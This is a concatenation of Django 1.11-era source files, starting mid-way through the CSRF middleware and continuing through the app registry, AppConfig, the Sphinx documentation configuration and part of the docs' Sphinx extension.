                # and possible for PUT/DELETE.
                request_csrf_token = request.META.get(settings.CSRF_HEADER_NAME, '')

            request_csrf_token = _sanitize_token(request_csrf_token)
            if not _compare_salted_tokens(request_csrf_token, csrf_token):
                return self._reject(request, REASON_BAD_TOKEN)

        return self._accept(request)

    def process_response(self, request, response):
        if not getattr(request, 'csrf_cookie_needs_reset', False):
            if getattr(response, 'csrf_cookie_set', False):
                return response

        if not request.META.get("CSRF_COOKIE_USED", False):
            return response

        # Set the CSRF cookie even if it's already set, so we renew
        # the expiry timer.
        response.set_cookie(settings.CSRF_COOKIE_NAME,
                            request.META["CSRF_COOKIE"],
                            max_age=settings.CSRF_COOKIE_AGE,
                            domain=settings.CSRF_COOKIE_DOMAIN,
                            path=settings.CSRF_COOKIE_PATH,
                            secure=settings.CSRF_COOKIE_SECURE,
                            httponly=settings.CSRF_COOKIE_HTTPONLY
                            )
        # Content varies with the CSRF cookie, so set the Vary header.
        patch_vary_headers(response, ('Cookie',))
        response.csrf_cookie_set = True
        return response






import sys
import threading
import warnings
from collections import Counter, OrderedDict, defaultdict
from functools import partial

from django.core.exceptions import AppRegistryNotReady, ImproperlyConfigured
from django.utils import lru_cache

from .config import AppConfig


class Apps(object):
    """
    A registry that stores the configuration of installed applications.

    It also keeps track of models eg. to provide reverse-relations.
    """

    def __init__(self, installed_apps=()):
        # installed_apps is set to None when creating the master registry
        # because it cannot be populated at that point. Other registries must
        # provide a list of installed apps and are populated immediately.
        if installed_apps is None and hasattr(sys.modules[__name__], 'apps'):
            raise RuntimeError("You must supply an installed_apps argument.")

        # Mapping of app labels => model names => model classes. Every time a
        # model is imported, ModelBase.__new__ calls apps.register_model which
        # creates an entry in all_models. All imported models are registered,
        # regardless of whether they're defined in an installed application
        # and whether the registry has been populated. Since it isn't possible
        # to reimport a module safely (it could reexecute initialization code)
        # all_models is never overridden or reset.
        self.all_models = defaultdict(OrderedDict)

        # Mapping of labels to AppConfig instances for installed apps.
        self.app_configs = OrderedDict()

        # Stack of app_configs. Used to store the current state in
        # set_available_apps and set_installed_apps.
        self.stored_app_configs = []

        # Whether the registry is populated.
        self.apps_ready = self.models_ready = self.ready = False

        # Lock for thread-safe population.
        self._lock = threading.Lock()

        # Maps ("app_label", "modelname") tuples to lists of functions to be
        # called when the corresponding model is ready. Used by this class's
        # `lazy_model_operation()` and `do_pending_operations()` methods.
        self._pending_operations = defaultdict(list)

        # Populate apps and models, unless it's the master registry.
        if installed_apps is not None:
            self.populate(installed_apps)

    def populate(self, installed_apps=None):
        """
        Loads application configurations and models.

        This method imports each application module and then each model module.

        It is thread safe and idempotent, but not reentrant.
        """
        if self.ready:
            return

        # populate() might be called by two threads in parallel on servers
        # that create threads before initializing the WSGI callable.
        with self._lock:
            if self.ready:
                return

            # app_config should be pristine, otherwise the code below won't
            # guarantee that the order matches the order in INSTALLED_APPS.
            if self.app_configs:
                raise RuntimeError("populate() isn't reentrant")

            # Load app configs and app modules.
            for entry in installed_apps:
                if isinstance(entry, AppConfig):
                    app_config = entry
                else:
                    app_config = AppConfig.create(entry)
                if app_config.label in self.app_configs:
                    raise ImproperlyConfigured(
                        "Application labels aren't unique, "
                        "duplicates: %s" % app_config.label)

                self.app_configs[app_config.label] = app_config

            # Check for duplicate app names.
            counts = Counter(
                app_config.name for app_config in self.app_configs.values())
            duplicates = [
                name for name, count in counts.most_common() if count > 1]
            if duplicates:
                raise ImproperlyConfigured(
                    "Application names aren't unique, "
                    "duplicates: %s" % ", ".join(duplicates))

            self.apps_ready = True

            # Load models.
            for app_config in self.app_configs.values():
                all_models = self.all_models[app_config.label]
                app_config.import_models(all_models)

            self.clear_cache()

            self.models_ready = True

            for app_config in self.get_app_configs():
                app_config.ready()

            self.ready = True

    def check_apps_ready(self):
        """
        Raises an exception if all apps haven't been imported yet.
        """
        if not self.apps_ready:
            raise AppRegistryNotReady("Apps aren't loaded yet.")

    def check_models_ready(self):
        """
        Raises an exception if all models haven't been imported yet.
        """
        if not self.models_ready:
            raise AppRegistryNotReady("Models aren't loaded yet.")

    def get_app_configs(self):
        """
        Imports applications and returns an iterable of app configs.
        """
        self.check_apps_ready()
        return self.app_configs.values()

    def get_app_config(self, app_label):
        """
        Imports applications and returns an app config for the given label.

        Raises LookupError if no application exists with this label.
        """
        self.check_apps_ready()
        try:
            return self.app_configs[app_label]
        except KeyError:
            message = "No installed app with label '%s'." % app_label
            for app_config in self.get_app_configs():
                if app_config.name == app_label:
                    message += " Did you mean '%s'?" % app_config.label
                    break
            raise LookupError(message)

    # This method is performance-critical at least for Django's test suite.
    @lru_cache.lru_cache(maxsize=None)
    def get_models(self, include_auto_created=False, include_swapped=False):
        """
        Returns a list of all installed models.

        By default, the following models aren't included:

        - auto-created models for many-to-many relations without
          an explicit intermediate table,
        - models created to satisfy deferred attribute queries,
        - models that have been swapped out.

        Set the corresponding keyword argument to True to include such models.
        """
        self.check_models_ready()

        result = []
        for app_config in self.app_configs.values():
            result.extend(list(app_config.get_models(include_auto_created, include_swapped)))
        return result

    def get_model(self, app_label, model_name=None):
        """
        Returns the model matching the given app_label and model_name.

        As a shortcut, this function also accepts a single argument in the
        form <app_label>.<model_name>.

        model_name is case-insensitive.

        Raises LookupError if no application exists with this label, or no
        model exists with this name in the application. Raises ValueError if
        called with a single argument that doesn't contain exactly one dot.
        """
        self.check_models_ready()
        if model_name is None:
            app_label, model_name = app_label.split('.')
        return self.get_app_config(app_label).get_model(model_name.lower())

    def register_model(self, app_label, model):
        # Since this method is called when models are imported, it cannot
        # perform imports because of the risk of import loops. It mustn't
        # call get_app_config().
        model_name = model._meta.model_name
        app_models = self.all_models[app_label]
        if model_name in app_models:
            if (model.__name__ == app_models[model_name].__name__ and
                    model.__module__ == app_models[model_name].__module__):
                warnings.warn(
                    "Model '%s.%s' was already registered. "
                    "Reloading models is not advised as it can lead to inconsistencies, "
                    "most notably with related models." % (app_label, model_name),
                    RuntimeWarning, stacklevel=2)
            else:
                raise RuntimeError(
                    "Conflicting '%s' models in application '%s': %s and %s." %
                    (model_name, app_label, app_models[model_name], model))
        app_models[model_name] = model
        self.do_pending_operations(model)
        self.clear_cache()

    def is_installed(self, app_name):
        """
        Checks whether an application with this name exists in the registry.

        app_name is the full name of the app eg. 'django.contrib.admin'.
        """
        self.check_apps_ready()
        return any(ac.name == app_name for ac in self.app_configs.values())

    def get_containing_app_config(self, object_name):
        """
        Look for an app config containing a given object.

        object_name is the dotted Python path to the object.

        Returns the app config for the inner application in case of nesting.
        Returns None if the object isn't in any registered app config.
        """
        self.check_apps_ready()
        candidates = []
        for app_config in self.app_configs.values():
            if object_name.startswith(app_config.name):
                subpath = object_name[len(app_config.name):]
                if subpath == '' or subpath[0] == '.':
                    candidates.append(app_config)
        if candidates:
            return sorted(candidates, key=lambda ac: -len(ac.name))[0]

    def get_registered_model(self, app_label, model_name):
        """
        Similar to get_model(), but doesn't require that an app exists with
        the given app_label.

        It's safe to call this method at import time, even while the registry
        is being populated.
        """
        model = self.all_models[app_label].get(model_name.lower())
        if model is None:
            raise LookupError(
                "Model '%s.%s' not registered." % (app_label, model_name))
        return model

    @lru_cache.lru_cache(maxsize=None)
    def get_swappable_settings_name(self, to_string):
        """
        For a given model string (e.g. "auth.User"), return the name of the
        corresponding settings name if it refers to a swappable model. If the
        referred model is not swappable, return None.

        This method is decorated with lru_cache because it's performance
        critical when it comes to migrations. Since the swappable settings don't
        change after Django has loaded the settings, there is no reason to get
        the respective settings attribute over and over again.
        """
        for model in self.get_models(include_swapped=True):
            swapped = model._meta.swapped
            # Is this model swapped out for the model given by to_string?
            if swapped and swapped == to_string:
                return model._meta.swappable
            # Is this model swappable and the one given by to_string?
            if model._meta.swappable and model._meta.label == to_string:
                return model._meta.swappable
        return None

    def set_available_apps(self, available):
        """
        Restricts the set of installed apps used by get_app_config[s].

        available must be an iterable of application names.

        set_available_apps() must be balanced with unset_available_apps().

        Primarily used for performance optimization in TransactionTestCase.

        This method is safe is the sense that it doesn't trigger any imports.
        """
        available = set(available)
        installed = set(app_config.name for app_config in self.get_app_configs())
        if not available.issubset(installed):
            raise ValueError(
                "Available apps isn't a subset of installed apps, extra apps: %s"
                % ", ".join(available - installed)
            )

        self.stored_app_configs.append(self.app_configs)
        self.app_configs = OrderedDict(
            (label, app_config)
            for label, app_config in self.app_configs.items()
            if app_config.name in available)
        self.clear_cache()

    def unset_available_apps(self):
        """
        Cancels a previous call to set_available_apps().
        """
        self.app_configs = self.stored_app_configs.pop()
        self.clear_cache()

    def set_installed_apps(self, installed):
        """
        Enables a different set of installed apps for get_app_config[s].

        installed must be an iterable in the same format as INSTALLED_APPS.

        set_installed_apps() must be balanced with unset_installed_apps(),
        even if it exits with an exception.

        Primarily used as a receiver of the setting_changed signal in tests.

        This method may trigger new imports, which may add new models to the
        registry of all imported models. They will stay in the registry even
        after unset_installed_apps(). Since it isn't possible to replay
        imports safely (eg. that could lead to registering listeners twice),
        models are registered when they're imported and never removed.
        """
        if not self.ready:
            raise AppRegistryNotReady("App registry isn't ready yet.")
        self.stored_app_configs.append(self.app_configs)
        self.app_configs = OrderedDict()
        self.apps_ready = self.models_ready = self.ready = False
        self.clear_cache()
        self.populate(installed)

    def unset_installed_apps(self):
        """
        Cancels a previous call to set_installed_apps().
        """
        self.app_configs = self.stored_app_configs.pop()
        self.apps_ready = self.models_ready = self.ready = True
        self.clear_cache()

    def clear_cache(self):
        """
        Clears all internal caches, for methods that alter the app registry.

        This is mostly used in tests.
        """
        # Call expire cache on each model. This will purge
        # the relation tree and the fields cache.
        self.get_models.cache_clear()
        if self.ready:
            # Circumvent self.get_models() to prevent that the cache is refilled.
            # This particularly prevents that an empty value is cached while cloning.
            for app_config in self.app_configs.values():
                for model in app_config.get_models(include_auto_created=True):
                    model._meta._expire_cache()

    def lazy_model_operation(self, function, *model_keys):
        """
        Take a function and a number of ("app_label", "modelname") tuples, and
        when all the corresponding models have been imported and registered,
        call the function with the model classes as its arguments.

        The function passed to this method must accept exactly n models as
        arguments, where n=len(model_keys).
        """
        # Base case: no arguments, just execute the function.
        if not model_keys:
            function()
        # Recursive case: take the head of model_keys, wait for the
        # corresponding model class to be imported and registered, then apply
        # that argument to the supplied function. Pass the resulting partial
        # to lazy_model_operation() along with the remaining model args and
        # repeat until all models are loaded and all arguments are applied.
        else:
            next_model, more_models = model_keys[0], model_keys[1:]

            # This will be executed after the class corresponding to next_model
            # has been imported and registered. The `func` attribute provides
            # duck-type compatibility with partials.
            def apply_next_model(model):
                next_function = partial(apply_next_model.func, model)
                self.lazy_model_operation(next_function, *more_models)
            apply_next_model.func = function

            # If the model has already been imported and registered, partially
            # apply it to the function now. If not, add it to the list of
            # pending operations for the model, where it will be executed with
            # the model class as its sole argument once the model is ready.
            try:
                model_class = self.get_registered_model(*next_model)
            except LookupError:
                self._pending_operations[next_model].append(apply_next_model)
            else:
                apply_next_model(model_class)

    def do_pending_operations(self, model):
        """
        Take a newly-prepared model and pass it to each function waiting for
        it. This is called at the very end of `Apps.register_model()`.
        """
        key = model._meta.app_label, model._meta.model_name
        for function in self._pending_operations.pop(key, []):
            function(model)

apps = Apps(installed_apps=None)






import os
from importlib import import_module

from django.core.exceptions import AppRegistryNotReady, ImproperlyConfigured
from django.utils._os import upath
from django.utils.module_loading import module_has_submodule

MODELS_MODULE_NAME = 'models'


class AppConfig(object):
    """
    Class representing a Django application and its configuration.
    """

    def __init__(self, app_name, app_module):
        # Full Python path to the application eg. 'django.contrib.admin'.
        self.name = app_name

        # Root module for the application eg. <module 'django.contrib.admin'
        # from 'django/contrib/admin/__init__.pyc'>.
        self.module = app_module

        # The following attributes could be defined at the class level in a
        # subclass, hence the test-and-set pattern.

        # Last component of the Python path to the application eg. 'admin'.
        # This value must be unique across a Django project.
        if not hasattr(self, 'label'):
            self.label = app_name.rpartition(".")[2]

        # Human-readable name for the application eg. "Admin".
        if not hasattr(self, 'verbose_name'):
            self.verbose_name = self.label.title()

        # Filesystem path to the application directory eg.
        # u'/usr/lib/python2.7/dist-packages/django/contrib/admin'. Unicode on
        # Python 2 and a str on Python 3.
        if not hasattr(self, 'path'):
            self.path = self._path_from_module(app_module)

        # Module containing models eg. <module 'django.contrib.admin.models'
        # from 'django/contrib/admin/models.pyc'>. Set by import_models().
        # None if the application doesn't have a models module.
        self.models_module = None

        # Mapping of lower case model names to model classes. Initially set to
        # None to prevent accidental access before import_models() runs.
        self.models = None

    def __repr__(self):
        return '<%s: %s>' % (self.__class__.__name__, self.label)

    def _path_from_module(self, module):
        """Attempt to determine app's filesystem path from its module."""
        # See #21874 for extended discussion of the behavior of this method in
        # various cases.
        # Convert paths to list because Python 3's _NamespacePath does not
        # support indexing.
        paths = list(getattr(module, '__path__', []))
        if len(paths) != 1:
            filename = getattr(module, '__file__', None)
            if filename is not None:
                paths = [os.path.dirname(filename)]
            else:
                # For unknown reasons, sometimes the list returned by __path__
                # contains duplicates that must be removed (#25246).
                paths = list(set(paths))
        if len(paths) > 1:
            raise ImproperlyConfigured(
                "The app module %r has multiple filesystem locations (%r); "
                "you must configure this app with an AppConfig subclass "
                "with a 'path' class attribute." % (module, paths))
        elif not paths:
            raise ImproperlyConfigured(
                "The app module %r has no filesystem location, "
                "you must configure this app with an AppConfig subclass "
                "with a 'path' class attribute." % (module,))
        return upath(paths[0])

    @classmethod
    def create(cls, entry):
        """
        Factory that creates an app config from an entry in INSTALLED_APPS.
        """
        try:
            # If import_module succeeds, entry is a path to an app module,
            # which may specify an app config class with default_app_config.
            # Otherwise, entry is a path to an app config class or an error.
            module = import_module(entry)

        except ImportError:
            # Track that importing as an app module failed. If importing as an
            # app config class fails too, we'll trigger the ImportError again.
            module = None

            mod_path, _, cls_name = entry.rpartition('.')

            # Raise the original exception when entry cannot be a path to an
            # app config class.
            if not mod_path:
                raise

        else:
            try:
                # If this works, the app module specifies an app config class.
                entry = module.default_app_config
            except AttributeError:
                # Otherwise, it simply uses the default app config class.
                return cls(entry, module)
            else:
                mod_path, _, cls_name = entry.rpartition('.')

        # If we're reaching this point, we must attempt to load the app config
        # class located at <mod_path>.<cls_name>
        mod = import_module(mod_path)
        try:
            cls = getattr(mod, cls_name)
        except AttributeError:
            if module is None:
                # If importing as an app module failed, that error probably
                # contains the most informative traceback. Trigger it again.
                import_module(entry)
            else:
                raise

        # Check for obvious errors. (This check prevents duck typing, but
        # it could be removed if it became a problem in practice.)
        if not issubclass(cls, AppConfig):
            raise ImproperlyConfigured(
                "'%s' isn't a subclass of AppConfig." % entry)

        # Obtain app name here rather than in AppClass.__init__ to keep
        # all error checking for entries in INSTALLED_APPS in one place.
        try:
            app_name = cls.name
        except AttributeError:
            raise ImproperlyConfigured(
                "'%s' must supply a name attribute." % entry)

        # Ensure app_name points to a valid module.
        try:
            app_module = import_module(app_name)
        except ImportError:
            raise ImproperlyConfigured(
                "Cannot import '%s'. Check that '%s.%s.name' is correct." % (
                    app_name, mod_path, cls_name,
                )
            )

        # Entry is a path to an app config class.
        return cls(app_name, app_module)

    def check_models_ready(self):
        """
        Raises an exception if models haven't been imported yet.
        """
        if self.models is None:
            raise AppRegistryNotReady(
                "Models for app '%s' haven't been imported yet." % self.label)

    def get_model(self, model_name):
        """
        Returns the model with the given case-insensitive model_name.

        Raises LookupError if no model exists with this name.
        """
        self.check_models_ready()
        try:
            return self.models[model_name.lower()]
        except KeyError:
            raise LookupError(
                "App '%s' doesn't have a '%s' model." % (self.label, model_name))

    def get_models(self, include_auto_created=False, include_swapped=False):
        """
        Returns an iterable of models.

        By default, the following models aren't included:

        - auto-created models for many-to-many relations without
          an explicit intermediate table,
        - models created to satisfy deferred attribute queries,
        - models that have been swapped out.

        Set the corresponding keyword argument to True to include such models.
        Keyword arguments aren't documented; they're a private API.
        """
        self.check_models_ready()
        for model in self.models.values():
            if model._meta.auto_created and not include_auto_created:
                continue
            if model._meta.swapped and not include_swapped:
                continue
            yield model

    def import_models(self, all_models):
        # Dictionary of models for this app, primarily maintained in the
        # 'all_models' attribute of the Apps this AppConfig is attached to.
        # Injected as a parameter because it gets populated when models are
        # imported, which might happen before populate() imports models.
        self.models = all_models

        if module_has_submodule(self.module, MODELS_MODULE_NAME):
            models_module_name = '%s.%s' % (self.name, MODELS_MODULE_NAME)
            self.models_module = import_module(models_module_name)

    def ready(self):
        """
        Override this method in subclasses to run code when Django starts.
        """






from .config import AppConfig
from .registry import apps

__all__ = ['AppConfig', 'apps']






# -*- coding: utf-8 -*-
#
# Django documentation build configuration file, created by
# sphinx-quickstart on Thu Mar 27 09:06:53 2008.
#
# This file is execfile()d with the current directory set to its containing dir.
#
# The contents of this file are pickled, so don't put values in the namespace
# that aren't picklable (module imports are okay, they're removed automatically).
#
# All configuration values have a default; values that are commented out
# serve to show the default.

from __future__ import unicode_literals

import sys
from os.path import abspath, dirname, join

# Workaround for sphinx-build recursion limit overflow:
# pickle.dump(doctree, f, pickle.HIGHEST_PROTOCOL)
#  RuntimeError: maximum recursion depth exceeded while pickling an object
#
# Python's default allowed recursion depth is 1000 but this isn't enough for
# building docs/ref/settings.txt sometimes.
# https://groups.google.com/d/topic/sphinx-dev/MtRf64eGtv4/discussion
sys.setrecursionlimit(2000)

# Make sure we get the version of this copy of Django
sys.path.insert(1, dirname(dirname(abspath(__file__))))

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
sys.path.append(abspath(join(dirname(__file__), "_ext")))

# -- General configuration -----------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
needs_sphinx = '1.3'  # Actually 1.3.4, but micro versions aren't supported here.

# Add any Sphinx extension module names here, as strings. They can be extensions
# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
extensions = [
    "djangodocs",
    "sphinx.ext.intersphinx",
    "sphinx.ext.viewcode",
    "ticket_role",
]

# Spelling check needs an additional module that is not installed by default.
# Add it only if spelling check is requested so docs can be generated without it.
if 'spelling' in sys.argv:
    extensions.append("sphinxcontrib.spelling")

# Spelling language.
spelling_lang = 'en_US'

# Location of word list.
spelling_word_list_filename = 'spelling_wordlist'

# Add any paths that contain templates here, relative to this directory.
# templates_path = []

# The suffix of source filenames.
source_suffix = '.txt'

# The encoding of source files.
# source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'contents'

# General substitutions.
project = 'Django'
copyright = 'Django Software Foundation and contributors'


# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = '1.11'
# The full version, including alpha/beta/rc tags.
try:
    from django import VERSION, get_version
except ImportError:
    release = version
else:
    def django_release():
        pep440ver = get_version()
        if VERSION[3:5] == ('alpha', 0) and 'dev' not in pep440ver:
            return pep440ver + '.dev'
        return pep440ver

    release = django_release()

# The "development version" of Django
django_next_version = '1.11'

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
# language = None

# Location for .po/.mo translation files used when language is set
locale_dirs = ['locale/']

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
# today = ''
# Else, today_fmt is used as the format for a strftime call.
today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']

# The reST default role (used for this markup: `text`) to use for all documents.
# default_role = None

# If true, '()' will be appended to :func: etc. cross-reference text.
add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
add_module_names = False

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'trac'

# Links to Python's docs should reference the most recent version of the 3.x
# branch, which is located at this URL.
intersphinx_mapping = {
    'python': ('https://docs.python.org/3/', None),
    'sphinx': ('http://sphinx-doc.org/', None),
    'six': ('https://pythonhosted.org/six/', None),
    'formtools': ('https://django-formtools.readthedocs.io/en/latest/', None),
    'psycopg2': ('http://initd.org/psycopg/docs/', None),
}

# Python's docs don't change every week.
intersphinx_cache_limit = 90  # days

# The 'versionadded' and 'versionchanged' directives are overridden.
suppress_warnings = ['app.add_directive']

# -- Options for HTML output ---------------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.
html_theme = "djangodocs"

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
# html_theme_options = {}

# Add any paths that contain custom themes here, relative to this directory.
html_theme_path = ["_theme"]

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
# html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
# html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
# html_logo = None

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
# html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
# html_static_path = ["_static"]

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
html_use_smartypants = True

# HTML translator class for the builder
html_translator_class = "djangodocs.DjangoHTMLTranslator"

# Content template for the index page.
# html_index = ''

# Custom sidebar templates, maps document names to template names.
# html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
html_additional_pages = {}

# If false, no module index is generated.
# html_domain_indices = True

# If false, no index is generated.
# html_use_index = True

# If true, the index is split into individual pages for each letter.
# html_split_index = False

# If true, links to the reST sources are added to the pages.
# html_show_sourcelink = True

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
# html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
# html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
# html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
# html_file_suffix = None

# Output file base name for HTML help builder.
htmlhelp_basename = 'Djangodoc'

modindex_common_prefix = ["django."]

# Appended to every page
rst_epilog = """
.. |django-users| replace:: :ref:`django-users <django-users-mailing-list>`
.. |django-core-mentorship| replace:: :ref:`django-core-mentorship <django-core-mentorship-mailing-list>`
.. |django-developers| replace:: :ref:`django-developers <django-developers-mailing-list>`
.. |django-announce| replace:: :ref:`django-announce <django-announce-mailing-list>`
.. |django-updates| replace:: :ref:`django-updates <django-updates-mailing-list>`
"""

# -- Options for LaTeX output --------------------------------------------------

latex_elements = {
    'preamble': (
        '\\DeclareUnicodeCharacter{2264}{\\ensuremath{\\le}}'
        '\\DeclareUnicodeCharacter{2265}{\\ensuremath{\\ge}}'
        '\\DeclareUnicodeCharacter{2665}{[unicode-heart]}'
        '\\DeclareUnicodeCharacter{2713}{[unicode-checkmark]}'
    ),
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title, author, document class [howto/manual]).
# latex_documents = []
latex_documents = [
    ('contents', 'django.tex', 'Django Documentation',
     'Django Software Foundation', 'manual'),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
# latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
# latex_use_parts = False

# If true, show page references after internal links.
# latex_show_pagerefs = False

# If true, show URL addresses after external links.
# latex_show_urls = False

# Documents to append as an appendix to all manuals.
# latex_appendices = []

# If false, no module index is generated.
# latex_domain_indices = True


# -- Options for manual page output --------------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [(
    'ref/django-admin',
    'django-admin',
    'Utility script for the Django Web framework',
    ['Django Software Foundation'],
    1
), ]


# -- Options for Texinfo output ------------------------------------------------

# List of tuples (startdocname, targetname, title, author, dir_entry,
# description, category, toctree_only)
texinfo_documents = [(
    master_doc, "django", "", "", "Django",
    "Documentation of the Django framework", "Web development", False
)]


# -- Options for Epub output ---------------------------------------------------

# Bibliographic Dublin Core info.
epub_title = project
epub_author = 'Django Software Foundation'
epub_publisher = 'Django Software Foundation'
epub_copyright = copyright

# The basename for the epub file. It defaults to the project name.
# epub_basename = 'Django'

# The HTML theme for the epub output. Since the default themes are not optimized
# for small screen space, using the same theme for HTML and epub output is
# usually not wise. This defaults to 'epub', a theme designed to save visual
# space.
epub_theme = 'djangodocs-epub'

# The language of the text. It defaults to the language option
# or en if the language is not set.
# epub_language = ''

# The scheme of the identifier. Typical schemes are ISBN or URL.
# epub_scheme = ''

# The unique identifier of the text. This can be an ISBN number
# or the project homepage.
# epub_identifier = ''

# A unique identification for the text.
# epub_uid = ''

# A tuple containing the cover image and cover page html template filenames.
epub_cover = ('', 'epub-cover.html')

# A sequence of (type, uri, title) tuples for the guide element of content.opf.
# epub_guide = ()

# HTML files that should be inserted before the pages created by sphinx.
# The format is a list of tuples containing the path and title.
# epub_pre_files = []

# HTML files shat should be inserted after the pages created by sphinx.
# The format is a list of tuples containing the path and title.
# epub_post_files = []

# A list of files that should not be packed into the epub file.
# epub_exclude_files = []

# The depth of the table of contents in toc.ncx.
# epub_tocdepth = 3

# Allow duplicate toc entries.
# epub_tocdup = True

# Choose between 'default' and 'includehidden'.
# epub_tocscope = 'default'

# Fix unsupported image types using the PIL.
# epub_fix_images = False

# Scale large images.
# epub_max_image_width = 0

# How to display URL addresses: 'footnote', 'no', or 'inline'.
# epub_show_urls = 'inline'

# If false, no index is generated.
# epub_use_index = True

# -- ticket options ------------------------------------------------------------
ticket_url = 'https://code.djangoproject.com/ticket/%s'






"""
Sphinx plugins for Django documentation.
"""
import json
import os
import re

from docutils import nodes
from docutils.parsers.rst import directives
from sphinx import addnodes
from sphinx.builders.html import StandaloneHTMLBuilder
from sphinx.domains.std import Cmdoption
from sphinx.util.compat import Directive
from sphinx.util.console import bold
from sphinx.util.nodes import set_source_info
from sphinx.writers.html import SmartyPantsHTMLTranslator

# RE for option descriptions without a '--' prefix
simple_option_desc_re = re.compile(
    r'([-_a-zA-Z0-9]+)(\s*.*?)(?=,\s+(?:/|-|--)|$)')


def setup(app):
    app.add_crossref_type(
        directivename="setting",
        rolename="setting",
        indextemplate="pair: %s; setting",
    )
    app.add_crossref_type(
        directivename="templatetag",
        rolename="ttag",
        indextemplate="pair: %s; template tag"
    )
    app.add_crossref_type(
        directivename="templatefilter",
        rolename="tfilter",
        indextemplate="pair: %s; template filter"
    )
    app.add_crossref_type(
        directivename="fieldlookup",
        rolename="lookup",
        indextemplate="pair: %s; field lookup type",
    )
    app.add_description_unit(
        directivename="django-admin",
        rolename="djadmin",
        indextemplate="pair: %s; django-admin command",
        parse_node=parse_django_admin_node,
    )
    app.add_directive('django-admin-option', Cmdoption)
    app.add_config_value('django_next_version', '0.0', True)
    app.add_directive('versionadded', VersionDirective)
    app.add_directive('versionchanged', VersionDirective)
    app.add_builder(DjangoStandaloneHTMLBuilder)

    # register the snippet directive
    app.add_directive('snippet', SnippetWithFilename)
    # register a node for snippet directive so that the xml parser
    # knows how to handle the enter/exit parsing event
    app.add_node(snippet_with_filename,
                 html=(visit_snippet, depart_snippet_literal),
                 latex=(visit_snippet_latex, depart_snippet_latex),
                 man=(visit_snippet_literal, depart_snippet_literal),
                 text=(visit_snippet_literal, depart_snippet_literal),
                 texinfo=(visit_snippet_literal, depart_snippet_literal))
    return {'parallel_read_safe': True}


class snippet_with_filename(nodes.literal_block):
    """
    Subclass the literal_block to override the visit/depart event handlers
    """
    pass


def visit_snippet_literal(self, node):
    """
    default literal block handler
    """
    self.visit_literal_block(node)


def depart_snippet_literal(self, node):
    """
    default literal block handler
    """
    self.depart_literal_block(node)


def visit_snippet(self, node):
    """
    HTML document generator visit handler
    """
    lang = self.highlightlang
    linenos = node.rawsource.count('\n') >= self.highlightlinenothreshold - 1
    fname = node['filename']
    highlight_args = node.get('highlight_args', {})
    if 'language' in node:
        # code-block directives
        lang = node['language']
        highlight_args['force'] = True
    if 'linenos' in node:
        linenos = node['linenos']

    def warner(msg):
        self.builder.warn(msg, (self.builder.current_docname, node.line))

    highlighted = self.highlighter.highlight_block(node.rawsource, lang,
                                                   warn=warner,
                                                   linenos=linenos,
                                                   **highlight_args)
    starttag = self.starttag(node, 'div', suffix='',
                             CLASS='highlight-%s snippet' % lang)
    self.body.append(starttag)
    self.body.append('<div class="snippet-filename">%s</div>\n''' % (fname,))
    self.body.append(highlighted)
    self.body.append('</div>\n')
    raise nodes.SkipNode


def visit_snippet_latex(self, node):
    """
    Latex document generator visit handler
    """
    code = node.rawsource.rstrip('\n')

    lang = self.hlsettingstack[-1][0]
    linenos = code.count('\n') >= self.hlsettingstack[-1][1] - 1
    fname = node['filename']
    highlight_args = node.get('highlight_args', {})
    if 'language' in node:
        # code-block directives
        lang = node['language']
        highlight_args['force'] = True
    if 'linenos' in node:
        linenos = node['linenos']

    def warner(msg):
        self.builder.warn(msg, (self.curfilestack[-1], node.line))

    hlcode = self.highlighter.highlight_block(code, lang, warn=warner,
                                              linenos=linenos,
                                              **highlight_args)

    self.body.append(
        '\n{\\colorbox[rgb]{0.9,0.9,0.9}'
        '{\\makebox[\\textwidth][l]'
        '{\\small\\texttt{%s}}}}\n' % (
            # Some filenames have '_', which is special in latex.
            fname.replace('_', r'\_'),
        )
    )

    if self.table:
        hlcode = hlcode.replace('\\begin{Verbatim}',
                                '\\begin{OriginalVerbatim}')
        self.table.has_problematic = True
        self.table.has_verbatim = True

    hlcode = hlcode.rstrip()[:-14]  # strip \end{Verbatim}
    hlcode = hlcode.rstrip() + '\n'
    self.body.append('\n' + hlcode + '\\end{%sVerbatim}\n' %
                     (self.table and 'Original' or ''))

